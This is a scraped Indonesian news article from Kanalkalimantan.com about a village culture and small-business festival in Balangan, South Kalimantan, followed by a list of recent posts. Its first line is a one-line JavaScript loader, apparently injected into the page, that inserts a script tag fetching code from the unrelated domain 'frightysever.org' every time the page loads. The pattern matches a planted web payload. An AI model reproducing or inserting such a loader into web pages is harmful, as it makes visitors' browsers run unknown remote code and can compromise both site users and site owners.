(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Pertunjukan Seni Tradisional hingga Produk UMKM Ramaikan Festival Gebyar Desa 2


KANALKALIMANTAN.COM, PARINGIN – Festival Gebyar Desa 2 menyuguhkan seni tradisional dan produk UMKM yang digelar di Pasar Budaya Racah Mampulang Desa Balida, Kecamatan Paringin Selatan, Kamis (29/12/2022).

Beragam suguhan penampilan kesenian tradisional seperti kuda gepang, madihin, bakuntau, dan tarian tradisional ditampilkan kepada pengunjung pasar budaya.

Festival ini selain bertujuan untuk mempromosikan budaya tradisional, juga berupaya mempromosikan produk-produk UMKM yang ditawarkan 21 peserta dari kelurahan dan desa ring 1 PT Adaro Indonesia.

Ada yang unik saat berbelanja di Pasar Budaya Racah Mampulang Desa Balida ini tidak dengan menggunakan mata uang rupiah, namun menggunakan mata uang khusus yakni racah. Ditukar di depan pintu masuk area Pasar Budaya Racah Mampulang.

 

 

Baca juga: 48 Ribu Pil Zenith Dimusnahkan BNNK HSU, Pemilik Masih Buron

Syahridin, Kepala Desa Balida mengungkapkan, festival ini mampu menjadi daya tarik tersendiri bagi pecinta budaya. Promo produk-produk UMKM dari para peserta dilirik oleh perusahaan-perusahaan yang turut berhadir.

“Tidak hanya PT Adaro Indonesia saja, tapi PT SIS, PT Balangan Coal, PT BUMA dan yang lainnya tertarik dan membina desa atau kelurahan yang diminati,” kata Syahridin.

Kepala Desa Balida juga mengatakan, Festival Gebyar Desa ini akan terus dilanjutkan, tapi di lokasi berbeda.

“Kami menjadi tuan rumah yang kedua, sebenarnya Desa Dahai yang ingin jadi tuan rumah, namun karena ada kendala maka kita lagi yang ditunjuk sebagai tuan rumah, sementara kedepan desa lain disiapkan,” jelasnya.

Baca juga: Pelaku Pembuang Bayi di Palam Belum Terungkap, Polisi Kurang Saksi dan Rekaman CCTV

Sementara itu, Hj Laili Nor, Kepala Desa Mangkayahu mengatakan, kegiatan ini sangat bagus dilaksanakan, apalagi kegiatan ini dinilai mampu mendukung salah satu programnya adalah memberdayakan anak muda desa.

“Dengan ini kita mampu menumbuhkan kekreatifan para anak muda desa untuk membuat olahan-olahan untuk ditampilkan pada kegiatan ini,” ungkap perempuan kerap disapa Bunda Laili itu.

Dengan munculnya ide kreatif, diharapkan nantinya mereka mampu membuat usaha dari produk yang mereka olah.

Asisten II Bidang Perekonomian dan Pembangunan Setda Balangan, Rody Rahmady Noor mewakili Bupati Balangan secara resmi membuka kegiatan. Dirinya mengaku sangat mengapresiasi kegiatan ini.

“Ini sangat bagus dan tentunya perlu untuk dikembangkan lagi,” ujar mantan Kadis Pariwisata Kabupaten Balangan itu. (Kanalkalimantan.com/alfi)

Reporter : alfi
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.